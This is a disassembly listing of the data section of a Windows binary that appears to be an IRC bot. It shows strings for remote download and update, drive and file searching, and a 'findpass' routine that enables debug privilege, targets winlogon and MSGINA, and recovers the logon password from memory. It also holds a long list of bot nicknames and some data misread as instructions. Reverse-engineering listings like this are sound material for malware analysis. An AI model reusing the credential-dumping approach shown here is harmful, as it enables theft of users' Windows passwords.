		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43FA24	db  2Dh	; -		; DATA XREF: .nsp0:00416C64o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43FA4C	db  2Dh	; -		; DATA XREF: .nsp0:00416BDAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_43FA78	db  2Dh	; -		; DATA XREF: .nsp0:00416B97o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_43FAA0	db  2Dh	; -		; DATA XREF: .nsp0:00416B85o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_43FAC8	db  2Dh	; -		; DATA XREF: .nsp0:00416A79o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416FAA:loc_416FEDo
					; sub_41979A+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416FAA:loc_416FE7o
aDisk		db 'Disk',0             ; DATA XREF: sub_416FAA:loc_416FE1o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416FAA:loc_416FDBo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416FAA:loc_416FD5o
		align 4
off_43FB18	dd offset word_4D4152	; DATA XREF: sub_416FAA:loc_416FCFo
word_43FB1C	dw 3Fh			; DATA XREF: sub_416FAA+1Fo
					; sub_41B2E4:loc_41B3E6r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_41703B:loc_417113o
					; sub_417156+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_41703B+6Bo
		align 10h
unk_43FB30	db  2Dh	; -		; DATA XREF: sub_417156+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43FB6C	db  2Dh	; -		; DATA XREF: sub_417156+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_417228:loc_41726Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles_0	db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_43FC18	db  2Dh	; -		; DATA XREF: sub_417517:loc_417690o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43FC4C	db  2Dh	; -		; DATA XREF: sub_417517:loc_417663o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_43FC78	db  2Dh	; -		; DATA XREF: sub_417517:loc_41765Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_43FCB0	db  2Dh	; -		; DATA XREF: sub_417517+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_43FD0C	dd offset byte_530055	; DATA XREF: sub_417517+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004D
		dd offset byte_4E0049
		dd 0
off_43FD24	dd offset byte_530055	; DATA XREF: sub_417517+CEo
		dd offset byte_520045
		dd offset loc_41004D+1
		dd offset byte_45004D
		align 8
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417517+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417517+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417517+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417517+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417517+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_417517+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_417517+40o
					; sub_417517+161o ...
		align 4
unk_43FDE8	db  2Dh	; -		; DATA XREF: sub_417517+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_4176E9+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_4176E9+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_4176E9+AFo
		align 4
dword_43FE34	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417B4F+70o
					; sub_417BE6+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43FE84	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417BE6+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_43FED8	dd offset aQ		; DATA XREF: sub_4180E3+5Cr
					; "q"
		dd offset aW		; "w"
		dd offset aE		; "e"
		dd offset aR		; "r"
		dd offset aT		; "t"
		dd offset aY		; "y"
		dd offset aU		; "u"
		dd offset aI_1		; "i"
		dd offset aP		; "p"
		dd offset aA_0		; "a"
		dd offset aS_1		; "s"
		dd offset aD		; "d"
		dd offset aF		; "f"
		dd offset aG		; "g"
		dd offset asc_42B9BC	; "h"
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset asc_42B92C	; "l"
		dd offset aZ		; "z"
		dd offset asc_42FB78	; "x"
		dd offset aC		; "c"
		dd offset aV		; "v"
		dd offset aB_0		; "b"
		dd offset aN		; "n"
		dd offset aM_1		; "m"
		dd offset dword_440A3C
		dd offset dword_440A38
		dd offset dword_440A34
		dd offset dword_440A30
		dd offset dword_440A2C
		dd offset word_440A28
		dd offset dword_440A24
		dd offset aI		; "I"
		dd offset dword_440A20
		dd offset dword_440A1C
		dd offset aA		; "A"
		dd offset dword_440A18
		dd offset dword_440A14
		dd offset dword_440A10
		dd offset dword_440A0C
		dd offset dword_440A08
		dd offset dword_440A04
		dd offset dword_440A00
		dd offset dword_4409FC
		dd offset dword_4409F8
		dd offset dword_4409F4
		dd offset dword_4409F0
		dd offset dword_4409EC
		dd offset dword_4409E8
		dd offset word_4409E4
		dd offset aM_3		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl_0	; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_44078C
		dd offset off_440788
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
		dd offset aRamtha	; "RAMTHA"
		dd offset aEmre		; "Emre--"
		dd offset aElmaazyok	; "elmaazyok"
		dd offset aEsmerkiz	; "Esmerkiz"
		dd offset aKebikec	; "kebikec"
		dd offset aFlord	; "FLoRD"
		dd offset aHoly		; "holy"
		dd offset aMahinur	; "MAHINUR"
		dd offset aSadikaellesme ; "SaDIkaEllesme"
		dd offset aAykut1	; "aykut1"
		dd offset aKashmira	; "Kashmira"
		dd offset aSeviseli	; "SeViSeLi"
		dd offset aSugarboy	; "SUGARBOY-"
		dd offset aUzgun36	; "uzgun36"
		dd offset aKumul	; "kumul"
		dd offset aAdalim	; "ADALIM"
		dd offset aUmut		; "umut-"
		dd offset aAnk32M	; "ANK-32-M"
		dd offset aDjspace	; "DJSPACE"
		dd offset aAnkar	; "Ankar"
		dd offset aFenerlee	; "FeNeRLee"
		dd offset aHayran	; "hayran"
		dd offset aAngelgirl	; "angelgirl"
		dd offset aKapk		; "kapk"
		dd offset aAchilles	; "Achilles"
		dd offset aTegmen	; "TEGMEN"
		dd offset aKotan	; "kotan"
		dd offset aSevda	; "sevda"
		dd offset off_4405F4
		dd offset aAlcatras	; "alcatras"
		dd offset aA44m		; "a44m"
; ---------------------------------------------------------------------------
		fadd	dword ptr ds:5D00044h
		inc	esp
		add	al, cl
		add	eax, 5C00044h
		inc	esp
		add	[eax-4FFFBBFBh], bh
		add	eax, 5A40044h
		inc	esp
		add	[ebp+eax+5940044h], bl
		inc	esp
		add	[ebp+eax+5840044h], cl
		inc	esp
		add	[ebp+eax+44h], bh
		add	[ebp+eax+44h], dh
		add	[ebp+eax+44h], ch
		add	[eax+5], ch
		inc	esp
		add	[ebp+eax+44h], bl
		add	[eax+5], dl
		inc	esp
		add	[ebp+eax+44h], al
		add	ds:5340044h[eax], bh
		inc	esp
		add	ds:5200044h[eax], ch
		inc	esp
		add	ds:5080044h[eax], dl
		inc	esp
		add	ah, bh
		add	al, 44h
		add	ah, dh
		add	al, 44h
		add	al, ch
		add	al, 44h
		add	ah, bl
		add	al, 44h


loc_4401D7:				; DATA XREF: sub_4180E3+41r
					; sub_4180E3+ECr
		add	[ebp+edi*8+42h], dl
		add	al, bl
		add	al, 44h
		add	ah, dl
		add	al, 44h
		add	[esp+ecx*8], ah
		inc	edx
		add	al, dl
		add	al, 44h
		add	ah, cl
		add	al, 44h
		add	ah, al
		add	al, 44h
		add	[esp+eax+4B40044h], bh
		inc	esp
		add	[esp+eax+4A40044h], ch
		inc	esp


loc_440203:				; CODE XREF: .nsp0:00440248j
		add	[esp+eax+4940044h], bl
		inc	esp
		add	[esp+eax+4800044h], cl
		inc	esp
		add	[eax+4], bh
		inc	esp
		add	[eax+4], dh
		inc	esp
		add	[esp+eax+44h], ch
		add	[esp+eax+44h], ah
		add	ah, al
		mov	edx, 0BA800042h
		inc	edx
		add	[edx+edi*4], bh
		inc	edx
		add	[edx+edi*4], al
		inc	edx
		add	[eax], ah
		mov	edx, 0B9E00042h
		inc	edx
		add	[ecx+edi*4-4667FFBEh], bh
		inc	edx
		add	al, dl
		and	[ebx+0], eax
		jz	short loc_440203
		inc	edx
		add	[eax-47h], dl
		inc	edx
		add	[ecx+edi*4], ch
		inc	edx
		add	[eax], cl
		mov	ecx, 0B8E40042h
		inc	edx
		add	al, al
		mov	eax, 0B89C0042h
		inc	edx
		add	[eax+600042B7h], ah
		add	al, 44h
		add	[eax], dh
		mov	eax, 0B8780042h
		inc	edx
		add	al, ch
		mov	bh, 42h
		add	ah, al
		mov	bh, 42h
		add	[eax-5], bh
		inc	edx
		add	[eax+edi*4], cl
		inc	edx
		add	[ebx+edi*4], ch
		inc	edx
		add	[eax+4], bl
		inc	esp
		add	[esp+eax+44h], dl
		add	[eax+4], dl
		inc	esp
		add	[esp+eax+44h], cl
		add	[eax+4], cl
		inc	esp
		add	[esp+eax+44h], al
		add	[eax+4], al
		inc	esp
		add	[eax], bh
		add	al, 44h
		add	[eax], dh
		add	al, 44h
		add	[eax], ch
		add	al, 44h
		add	[eax], ah
		add	al, 44h
		add	[ebx+edi*4], ch
		inc	edx
		add	al, ah
		mov	ecx, 0B8540042h
		inc	edx
		add	[eax+1C0042B7h], ah
		add	al, 44h
		add	[esp+eax], dl
		inc	esp
		add	[eax-67FFBBCDh], bl
		xor	eax, [eax+eax+10h]
		add	al, 44h
		add	[eax-67FFBBCDh], bl
		xor	eax, [eax+eax-68h]
		xor	eax, [eax+eax-68h]
		xor	eax, [eax+eax+10h]
		or	al, [eax+eax-20h]
		or	[eax+eax+8], eax
		add	al, 44h
		add	[esp+eax], al
		inc	esp
		add	ah, bh
		add	eax, [eax+eax-3Ch]
		mov	edx, 33980042h
		inc	esp
		add	al, dh
		add	eax, [eax+eax-68h]
		xor	eax, [eax+eax-68h]
		xor	eax, [eax+eax-18h]
		add	eax, [eax+eax-20h]
		add	eax, [eax+eax-68h]
		xor	eax, [eax+eax-68h]
		xor	eax, [eax+eax-0Ch]
		or	[eax+eax-68h], eax
		xor	eax, [eax+eax-24h]
		add	eax, [eax+eax-2Ch]
		add	eax, [eax+eax-34h]
		add	eax, [eax+eax+54h]
		rol	byte ptr [edx+0], cl
		enter	4403h, 0
		rol	byte ptr [ebx],	44h
		add	[eax-4FFFBBFDh], bh
		add	eax, [eax+eax-58h]
		add	eax, [eax+eax-5Ch]
		add	eax, [eax+eax+44h]
		mov	dword ptr [edx+0], offset dword_44039C
		nop
		add	eax, [eax+eax-78h]
		add	eax, [eax+eax-80h]
		add	eax, [eax+eax+78h]
		add	eax, [eax+eax+74h]
		add	eax, [eax+eax+70h]
		add	eax, [eax+eax+36h]
		jnz	short $+2
		add	ds:7C000075h, dh
		xor	al, 75h
		jl	short $+2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 6F79347Bh, 7D75h, 7375347Ch,	7Ch, 7865737Ch,	65726634h
		dd 7C65h
dword_44039C	dd 6F6C6F6Ch, 7C617Ch, 746F74h,	6F666F6Dh, 0aMof0		db 'mof0',0
		align 4
aMuha		db 'muha',0
		align 10h
aYeah		db 'yeah',0
		align 4
aAha		db 'aha',0
aGurl		db 'gurl',0
		align 4
aGirl_1		db 'GIRL',0
		align 4
aBoy		db 'BOY',0
aFree_0		db 'Free',0
		align 4
aFuck_0		db 'Fuck',0
		align 10h
aSleeping	db 'Sleeping',0
		align 4
aF_0		db '^^^f^',0
		align 4
aSad		db 'Sad',0
aLuvu		db 'LUVU',0
		align 10h
a___0		db '_|_',0
aBbl		db '|bbl',0
		align 4
		dd offset loc_425242
aMuckc		db 'muckc',0
		align 4
aTruck		db 'truck',0
		align 10h
aTrimy		db 'trimy',0
		align 4
aLuvy		db 'luvy',0
		align 10h
aUi		db 'ui',0
		align 4
aSdf		db 'sdf',0
aRt		db 'rt',0
		align 4
aGf		db 'gf',0
		align 10h
aTy		db 'ty',0
		align 4
aRg		db 'rg',0
		align 4
aHappy		db 'happy',0
		align 10h
aRs		db 'rs',0
		align 4
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 10h
aSick_0		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 4
aSex_1		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 4
aLuck_0		db '|luck|',0
		align 4
aSuck_0		db '|suck|',0
		align 4
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 4
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0
aZex		db 'zex',0
aLez		db 'lez',0
aWantedlove	db 'WANTEDLOVE',0
		align 4
aCumhur29	db 'cumhur29',0
		align 4
aAdamm		db 'ADAMM',0
		align 4
aMaveRIck	db 'MaVe{R}icK',0
		align 4
aPrometheus	db 'prometheus',0
		align 4
aDallas43m	db 'DALLAS43M',0
		align 10h
aTeoman		db 'TEOMAN```',0
		align 4
aRerpjj		db 'RERPJJ',0
		align 4
aCem39		db 'cem39',0
		align 4
aCool30m	db 'cool30m',0
aTropikal	db 'tropikal',0
		align 10h
aPassenger	db 'passenger',0
		align 4
aNeHaber	db 'NE-HABER',0
		align 4
aUla		db 'ula',0
aIzmirlm	db 'izmirlm',0
aAkden		db 'akden',0
		align 4
aKoray		db 'KORAY',0
		align 4
aAta29		db 'Ata29',0
		align 4
aFirtina	db 'firtina',0
aAdamm33	db 'AdAMM33',0
aM41ist		db 'M41IST',0
		align 4
aMaxsilla	db 'maxsilla',0
		align 10h
aAdem28		db 'Adem28',0
		align 4
aAnkm		db 'ankM',0
		align 10h
aErkan		db 'erkan',0
		align 4
aDevre		db 'devre',0
		align 10h
aYabanc		db 'yabanc',0
		align 4
aBirsen		db 'birsen',0
		align 10h
aA44m		db 'a44m',0             ; DATA XREF: .nsp0:00440164o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: .nsp0:00440160o
		align 4
off_4405F4	dd offset byte_4B5245	; DATA XREF: .nsp0:0044015Co
aSevda		db 'sevda',0            ; DATA XREF: .nsp0:00440158o
		align 10h
aKotan		db 'kotan',0            ; DATA XREF: .nsp0:00440154o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: .nsp0:00440150o
		align 10h
aAchilles	db 'Achilles',0         ; DATA XREF: .nsp0:0044014Co
		align 4
aKapk		db 'kapk',0             ; DATA XREF: .nsp0:00440148o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .nsp0:00440144o
		align 10h
aHayran		db 'hayran',0           ; DATA XREF: .nsp0:00440140o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .nsp0:0044013Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: .nsp0:00440138o
		align 4
aDjspace	db 'DJSPACE',0          ; DATA XREF: .nsp0:00440134o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .nsp0:00440130o
		align 10h
aUmut		db 'umut-',0            ; DATA XREF: .nsp0:0044012Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: .nsp0:00440128o
		align 10h
aKumul		db 'kumul',0            ; DATA XREF: .nsp0:00440124o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .nsp0:00440120o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .nsp0:0044011Co
		align 4
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .nsp0:00440118o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .nsp0:00440114o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .nsp0:00440110o
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .nsp0:0044010Co
		align 4
aMahinur	db 'MAHINUR',0          ; DATA XREF: .nsp0:00440108o
aHoly		db 'holy',0             ; DATA XREF: .nsp0:00440104o
		align 4
aFlord		db 'FLoRD',0            ; DATA XREF: .nsp0:00440100o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .nsp0:004400FCo
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .nsp0:004400F8o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .nsp0:004400F4o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .nsp0:004400F0o
		align 4
aRamtha		db 'RAMTHA',0           ; DATA XREF: .nsp0:004400ECo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .nsp0:004400E8o
		align 10h
aHakan3		db 'hakan3',0           ; DATA XREF: .nsp0:004400E4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: .nsp0:004400E0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .nsp0:004400DCo
aArda		db 'arda',0             ; DATA XREF: .nsp0:004400D8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: .nsp0:004400D4o
		align 10h
aBerk19m	db 'Berk19m',0          ; DATA XREF: .nsp0:004400D0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .nsp0:004400CCo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .nsp0:004400C8o
		align 10h
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .nsp0:004400C4o
		align 4
aBogac		db 'bogac',0            ; DATA XREF: .nsp0:004400C0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .nsp0:004400BCo
		align 10h
aAnkh		db 'ankh',0             ; DATA XREF: .nsp0:004400B8o
		align 4
off_440788	dd offset byte_457441	; DATA XREF: .nsp0:004400B4o
dword_44078C	dd 414C5941h, 2DhaAlbina		db 'albina',0           ; DATA XREF: .nsp0:004400ACo
		align 4
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .nsp0:004400A8o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: .nsp0:004400A4o
		align 10h
aAnk32m		db 'ank32m',0           ; DATA XREF: .nsp0:004400A0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .nsp0:0044009Co
		align 10h
aAhmet		db 'ahmet',0            ; DATA XREF: .nsp0:00440098o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .nsp0:00440094o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .nsp0:00440090o
		align 10h
aRetg		db 'RETG',0             ; DATA XREF: .nsp0:0044008Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .nsp0:00440088o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .nsp0:00440084o
aAslii		db 'aslii',0            ; DATA XREF: .nsp0:00440080o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: .nsp0:0044007Co
aHaticem	db 'haticem',0          ; DATA XREF: .nsp0:00440078o
aArzu		db 'ARZU',0             ; DATA XREF: .nsp0:00440074o
		align 4
aSudenur	db 'SUDENUR',0          ; DATA XREF: .nsp0:00440070o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .nsp0:0044006Co
		align 10h
aVenedik34	db 'venedik34',0        ; DATA XREF: .nsp0:00440068o
		align 4
aTekir		db 'tekir',0            ; DATA XREF: .nsp0:00440064o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .nsp0:00440060o
		align 10h
aTrend3		db 'trend3',0           ; DATA XREF: .nsp0:0044005Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .nsp0:00440058o
		align 10h
aAkin		db 'AKIN',0             ; DATA XREF: .nsp0:00440054o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: .nsp0:00440050o
		align 10h
aJericho	db 'JERICHO',0          ; DATA XREF: .nsp0:0044004Co
aTolga34	db 'Tolga34',0          ; DATA XREF: .nsp0:00440048o
aMisssunday	db 'misssunday',0       ; DATA XREF: .nsp0:00440044o
		align 4
aIrmal		db 'irmal',0            ; DATA XREF: .nsp0:00440040o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .nsp0:0044003Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .nsp0:00440038o
		align 4
aHexaaa		db 'hexaaa',0           ; DATA XREF: .nsp0:00440034o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .nsp0:00440030o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .nsp0:0044002Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .nsp0:00440028o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .nsp0:00440024o
		align 10h
aKencing	db 'Kencing',0          ; DATA XREF: .nsp0:00440020o
aReshma		db 'reshma',0           ; DATA XREF: .nsp0:0044001Co
		align 10h
aCamel		db 'CAMEL',0            ; DATA XREF: .nsp0:00440018o
		align 4
aGirl_0		db 'GirL',0             ; DATA XREF: .nsp0:00440014o
		align 10h
aImra		db 'imra',0             ; DATA XREF: .nsp0:00440010o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .nsp0:0044000Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: .nsp0:00440008o
		align 10h
aManee		db 'manee',0            ; DATA XREF: .nsp0:00440000o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .nsp0:0043FFFCo
aLuisa		db 'Luisa',0            ; DATA XREF: .nsp0:0043FFF8o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .nsp0:0043FFF4o
		align 4
aRimpy		db 'rimpy',0            ; DATA XREF: .nsp0:0043FFF0o
		align 4
aJanno		db 'janno',0            ; DATA XREF: .nsp0:0043FFECo
		align 4
aBunty		db 'bunty',0            ; DATA XREF: .nsp0:0043FFE8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: .nsp0:0043FFE4o
		align 4
aCme		db 'cme',0              ; DATA XREF: .nsp0:0043FFE0o
aTalika		db 'talika',0           ; DATA XREF: .nsp0:0043FFD8o
		align 10h
aShez		db 'Shez',0             ; DATA XREF: .nsp0:0043FFD4o
		align 4
aKen		db 'ken',0              ; DATA XREF: .nsp0:0043FFD0o
